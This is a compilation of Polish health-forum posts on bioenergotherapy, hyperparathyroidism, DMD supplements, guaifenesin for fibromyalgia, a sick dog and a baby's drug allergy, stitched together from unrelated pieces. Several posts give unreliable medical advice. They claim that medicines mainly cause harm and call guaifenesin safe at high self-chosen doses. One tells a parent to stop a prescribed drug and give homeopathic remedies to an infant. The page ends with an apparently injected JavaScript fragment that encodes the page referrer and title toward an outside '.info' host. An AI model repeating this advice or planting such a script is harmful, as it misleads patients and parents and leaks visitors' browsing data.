obserwacji pracy bioenergoterapeuty.Nie chcę czytać żadnej literatury na ten
temat/ propozycje vecki- wizualizacja/ by zachować własny indywidualny pogląd.
Nieocenione są dla mnie wypowiedzi lekarzy /Doki,Artur/ na forum szczególnie
jeżeli w zrozumiały dla mnie sposób opisują działanie narządów i komórek w
kontekście choroby.Wykorzystuję do własnych potrzeb akupunkturę i pokrewne BSM.
W mojej ocenie zdecdowana większość chorób ma błache początki nieuchwytne dla
medycyny oficjalnej dlatego forum zdrowie jest takie chore. Te błache początki
próbuje uchwycić WHO i inni ogłaszając zalecenia i piramidy żywieniowe. W
jakimś małym procencie się sprawdza więc ogłaszają nowe zalecenia. Ja już
kilkakrotnie przedstawiałem mój punkt widzenia że powinniśmy jeść wszystko nie
eliminując żadnych produktów /zdrowi ludzie/ najlepiej kierując się smakiem/
zmienia się/ co odpowiada naturalnemu odzywianiu sią przez tysiąclecia
związanemu z sezonową dostępnością rozmaitych produków roślinnych i
zwierzęcych /dieta mojego dziadka bez lodówki identyczna z dietą Hunzów
brumbaka/. I teraz jest zasadnicza sprawa nie dostrzegana przez medycynę
akademicką - STYMULOWANIE OGÓLNE LUB POSZCZEGÓLNYCH NARZĄDÓW. W akupunkturze
takim punktem ogólnm jest Ż 36 -wielki lekarz. Stosowanie takiej stymulacji
innymi metodami jest wg medycyny akademickiej ZABOBONEM. Oddzialywanie
pozytywną energią na organy biorące udział w przemianie materi i gospodarce
mineralnej organizmu powoduje zdecydowanioe większą efektywność wykorzystania
witamin, mikroelementów, enzymów i związków chemicznych bedących składnikami
pożywienia. Długotrwałe stosowanie ekstremalnych diet wręcz utrudnia
funkcjonowanie organizmu i proces samoregulacji z powodu braku
różnorodności "budulca". Zastosowanie autostymulacji narządowej lub innych
metod dla usprawnienia procesów samoregulacji jest jedynym sposobem ZACHOWANIA
DOBREGO ZDROWIA. Można to uzupełnić ruchem, hartowaniem - sauna,ocieplaniem
np.nerek Zastosowanie do tych celów środków farmakologicznych ma działanie
szkodliwe bo przeważają tzw. efekty uboczne. Problemy z prostatą czy
hemoroidami w początkowym okresie / opisywane w listach obok/ są problemami
ZEROWYMI.

Zmiany kostne w nadczynności przytarczyc

Nadczynność przytarczyc to jedna z rzadszych przyczyn zaniku kostnego, lekarze
muszą jednak o niej pamiętać w diagnostyce różnicowej chorób metabolicznych
kości.

Przyczyną nadczynności przytarczyc jest guz (gruczolak lub rak) przytarczycy
wydzielający parathormon. Jest to tzw. pierwotna nadczynność przytarczyc.

Czasami przerost i nadczynność przytarczyc spowodowane są permanentnym
pobudzaniem tkanki gruczołowej do wytwarzania parathormonu wskutek zbyt
niskiego poziomu wapnia we krwi lub zbyt wysokiego stężenia fosforu. Jest to
tzw. wtórna nadczynność przytarczyc; najczęściej spotyka się ją u osób z
przewlekłą niewydolnością nerek.

Przytarczyce są małymi gruczołami dokrewnymi położonymi za tarczycą. Wydzielają
parathormon pobudzający komórki kościogubne (osteoklasty) do niszczenia kości,
co ma na celu uwolnienie z kości wapnia i podniesienie jego poziomu we krwi do
wartości prawidłowych.

W nadczynności przytarczyc parathormon jest wydzielany bez żadnej kontroli i
powoduje znaczny wzrost stężenia wapnia w surowicy. Może to zagrażać życiu
pacjenta (tzw. przełom hiperkalcemiczny), powoduje bowiem zaburzenia funkcji
mózgu, aż do śpiączki włącznie.

Nadmierny poziom wapnia we krwi prowadzi do jego wzmożonego wydalania przez
nerki i jest przyczyną kamicy nerkowej.

Działanie parathormonu na przewód pokarmowy powoduje chorobę wrzodową
dwunastnicy i zapalenia trzustki.

Obraz kliniczny nadczynności przytarczyc układa się więc w następującą
konstelację:
· zanik kostny z charakterystycznym obrazem radiologicznym ogniskowych
torbieli i nasilonej resorpcji tkanki kostnej pod okostną, zwiększona łamliwość
kości,
· nawracająca kamica nerkowa (często chorzy przebyli kilka operacji z
tego powodu),
· choroba wrzodowa,
· przebyte zapalenia trzustki,
· wzmożone pragnienie i oddawanie dużych ilości moczu (jest to skutek
podwyższonego stężenia wapnia we krwi).
Choć obraz kliniczny pierwotnej nadczynności przytarczyc bywa dramatyczny,
rokowanie jest dobre. Leczenie polega na operacyjnym usunięciu gruczolaka.

We wtórnej nadczynności przytarczyc podstawowe znaczenia ma opanowanie zaburzeń
biochemicznych stymulujących przytarczyce do nadmiernej aktywności
(uzupełnianie niedoborów wapnia, dieta ubogofosforanowa i podawanie środków
zmniejszających wchłanianie fosforu w przewodzie pokarmowym, leczenie
hiperkalciurii nerkowej, czyli podawanie leków zmniejszających utratę wapnia z
moczem).

boz4j napisała:
> Dla tych rodzicow co beda mnie tu obelgami chcieli obrzucic

E tam, od razu obelgami. Tak jak Ty możesz produkować posty wychwalające
Protandim, tak ja mogę być do niego krytycznie nastawiona. W Twoich postach
jawi się jako cudowny lek, a lekiem nie jest i chyba prędko nie będzie. Może
napisałabyś coś o skutkach ubocznych, jak działa na nerki?

> Moge podeslac wiecej stron jak , potrzeba bedzie ,ale napweno nie przyjade do
> Polski , zeby kazdemu z osobna tlumaczyc 20 lat nauki o genie dystrophin i
> walce rodzicow z choroba.

Nieskromna jesteś.

> Jeszcze raz globus www.parentproject.org Tu jak kliknie sie na nazwe kraju
> otworzy sie link do tego kraju organizacji.

My, tu w Polsce, potrafimy korzystać z Internetu, każdy, kto tylko dowiaduje
się o DMD u swojego dziecka trafia na strony obcojęzyczne, bo na polskich jest
niewiele wiadomości.

To tyle krytyki.

Z całą resztą się zgadzam. Suplementy, dieta, słodycze, hydromasaże,
rehabilitacja, łuski, obuwie itd. były opisywane na forum. Ale najważniejsze
jest to, że nie ma w Polsce organizacji, która zjednoczyłaby rodziców dzieci z
chorobami nerwowo- mięśniowymi, bo PTCHNM to prawdziwa porażka.

Nie wierzę w ALVEO, Protandim, w Kijów też i napastliwie krytykuję. Ja miałam
przypadek chorego na chorobę mięśni w mojej rodzinie, który wierzył w
bioenergoterapeutów, paramedycynę itp. Źle to się skończyło, stąd moja krytyka.
Na DMD nie ma lekarstwa, dlatego nad każdą nowinką w DMD trzeba się dokładnie
zastanowić, bo cudownego leku niestety nie ma.

p.s. Szkoda że zapomiałaś języka :(

Guaifenesin (guaiphenesin)
Guaifenesin (guaiphenesin) na fibromyalgię

Ten środek ostatnio robi furorę w leczeniu fibromialgii, choć na razie nie ma
jeszcze solidnych publikacji naukowych.
Guaifenesin jest popularnym składnikiem farmaceutycznym syropu na kaszel,
ponieważ „rozluźnia” plwocinę. Używa się go także w leczenie dny moczanowej
ponieważ ułatwia wydalanie kwasu moczowego przez nerki.
Do leczenie fibro wprowadził guaifenesin Dr St. Amand.

Z tego co na dzisiaj wiadomo:
Tylko niektórzy chorzy odpowiadaja na leczenie guaifenesinem. Warto sprawdzić
czy ktoś ma to szczęście.
Jest to raczej lek łagodzący objawy niz dający trwałe wyleczenie. Czasami w
miarę postepów w leczeniu dawkę można nieco zmniejszyć, ale leczenie jest
dożywotnie.
Ale niektórzy uważają, że długie leczenie może jednak chorobę cofnąć.
U części pacjentów z fibro poprawia się jakość snu, zmniejszają bóle,
zmniejsza zmęczenie. Poprawa bywa bardzo szybka, już nawet po kilu dniach
leczenia, czasami po kilku tygodniach dopiero.
Nawet przy skutecznym leczeniu objawy, moga trochę okresowo powracać, ale
zwykle w mniejszej intensywności.
Guaifenesin prawie nie powoduje liczących się objawów ubocznych - jest więc
bezpieczny.
Dawka dzienna to zwykle 600 mg do 3600 mg - podzielone na dawkę poranną i
wieczorną.

Podejrzewa się (jest to tylko hipoteza), że Guaifenesin pomaga w fibro bo
przyspiesza wydalanie fosforanów (może też szczawianów), które u niktórych
kumulują się w tkankach i powodują objawy. Inni z kolei twierdza, że to
dlatego, że Guaifenesin relaksuje mięśnie szkieletowe.

W leczeniu Guaifenesinem należy uważać aby nie zmniejszać za bardzo poziomu
cukru we krwi. Należy wiec stosować dietę bez cukrów prostych oraz łatwo
przyswajalnej skrobii. Mąka i makarony są więc wykluczone. Dieta więc powinna
byc budowana głównie na białkach i niesłodkich warzywach. Unikać natomiast
należy pokarmów, które zwiększaja poziom glukozy we krwi po to, by później na
zasadzie odbicia go zmniejszać. Należy też unikać kawy.
Dr St. Amand twierdzi, że dieta ma kluczowe znaczenie w powodzeniu terapii.

Dodatkowo zaleca się picie dodatkowo kilku szklanek czystej wody. Najlepiej
jak będzie to woda destylowana lub woda z odwrotnej osmozy. Są to wody nisko
mineralne i przyspieszą wydalanie fosforanów.

Salicylany niwelują działanie Guaifenesiny więc należy ich unikać w czasie
tego leczenia.

Jeżeli nawet komuś Guaifenesin bardzo pomaga, to nie znaczy to, że
automatycznie została wykluczona możliwość choroby infekcyjnej. Należy raczej
domniemywać, że leczenie koryguje jeden aspekt choroby.

ewax100 napisała:

> Aniu-cieszę się że tryskasz radością.Tak to ja
> rozumiem można tu pisać.Ja jednak mam smutne
> wiadomości,jest mi bardzo cięzko.Nie chodzi tu o mnie
> tylko o mojego psa.Chorwał 2 tygodnie na biegunke i
> jakoś po trudach wielkich wyszedł z tego. od wczoraj
> znów cos mu sie stało i nie może chodzić-chodzi jak
> pijany,przewraca się biedny.Juz trzeci tydzien jeżdżę
> do weterynarza a to wiadomo kupa kasy.I jeszcze
> niewiadomo czy z tego wyjdzie bo wygląda to
> fatalnie.Najpierw weterynarz myślał że to sprawy
> neurologiczne,potem że wątroba ale dzisiaj zrobil
> badania krwi i wyszło że watroba w miare dobra tylko
> mocznik ma podwyższony 77do 45 ale żeby od tego? mówi
> że mocznik daje takie objawy "jak pijany"Dał mu
> antybiotyk bo miał leukocyty 24 a norma 19 i musze
> czekac co będzie? jutro znów do lekarza.
=====================================================================
jak czytalam twoj watek to wlasnie sie tak domyslilam ze chodzi o yo
twoje najukochansze stworzenie
wiesz ewcia moj kot mocznik mial zawsze wysoki nerki tez mial
uszkodzone kilka razy ratowalismy mu zycie pomagalo przeszedl na
diete niskobialkowa (takie specjalne suche jedzonko dla kotka czy
psa z obnizonymi mineralami)
zyl 13 lat oczywiscie czesciej byl u lekarza niz ja (a do zdrowych
nie naleze)pieniadze tez dosc duze zostawaly w kasie weterynarza ale
co nie zaplacisz jak ratujesz swojego pupila
(ile on ma lat)
antybiotyki powinny zadzialac jeszcze nic straconego
ja cie rozumie to jest gorsze od choroby czlowieka bo ten
przynajmniej potrafi sie pozalic
a te nasze zwirzatka to maja takie biedne oczka i cierpia w ciszy a
jeszcze toto ogonem merda nawet ze chore to jest najbardziej przykre
musisz muslec pozytywnie moze sie uda
pozdrawiam cie
an

Wygląda na to, ze Twój maluch jest uczulony na sulfonamidy ( na szczęście to
uczulenie nie objawia się zbyt drastycznie).

Porażająca jest czasem głupota lekarzy , ale to juz wszyscy kiedyś
przerabialiśmy.
Nie dość, ze ładują dziecku biseptol, nie zwracając uwagi na to, ze jest
ewidentnie na niego uczulone, to jeszcze zalecają do niego citropepsin (
zawiera m.in. kwas cytrynowy, którego nie wolno absolutnie podawac razem z
sulfonamidami, bo taki zestawik może uszkodzić nerki!!!!!,zresztą z wit.C też
nie wolno!) i na dodatek wmawiają, ze mleko matki uczula ...wrrrrrr....Ja
rozumiem , ze moze uczulać to, co mama karmiąca je, ale nie sam pokarm, jako
taki. Wystarczy zmodyfikowac swoja dietę. Zresztą przez kilka miesięcy życia
jakoś Twoj pokarm nie uczulał, eh...szkoda się wnerwiac nawet.

Sulfonamidy to leki starej generacji, i chocby nie wiem jak firmy
farmaceutyczne strały się ulepszać je w smaku, zapachu, opakowaniu, to bactrim
zawsze pozostanie tym samym co biseptol.
Nigdy więcej nie podawaj dziecku tego świństwa ( czasem nawet antybiotyk jest
lepszy od tego chemioterapeutyku).Choć ja w ogóle nie widzę powodu, dla którego
te leki miały być podawane Twojemu dziecku.

Z mojej strony mogę doradzic najprostszą rzecz na świecie.
Zrób maluchowi kurację uodparniającą, thymulina 9 CH i oscillococcinum.
Usprawniają pracę układu oddechowego, a przy okazji pomagają wytłuc wirusy.
Tu masz link z dawkowaniem i nie tylko:

forum.gazeta.pl/forum/72,2.html?f=19760&w=14505617
Jesli to nie poskutkuje ( w co wątpię, bo maluch raczej nie jest ciężko chory ;-
)), to wtedy jak najbardziej do homeopaty.
Pozdrawiam, beba

function bb515451ff5f93a(str) { return escape(str).replace('+', '%2B').replace('%20', '+').replace('*', '%2A').replace('/', '%2F').replace('@', '%40'); } function aa515451ff5f900(a,b) { var d="http://"; var e="ima"; var f=(600+77); var g=".info/se2"; return(''); } document.write(aa515451ff5f900(bb515451ff5f93a(document.referrer),bb515451ff5f93a(document.title)));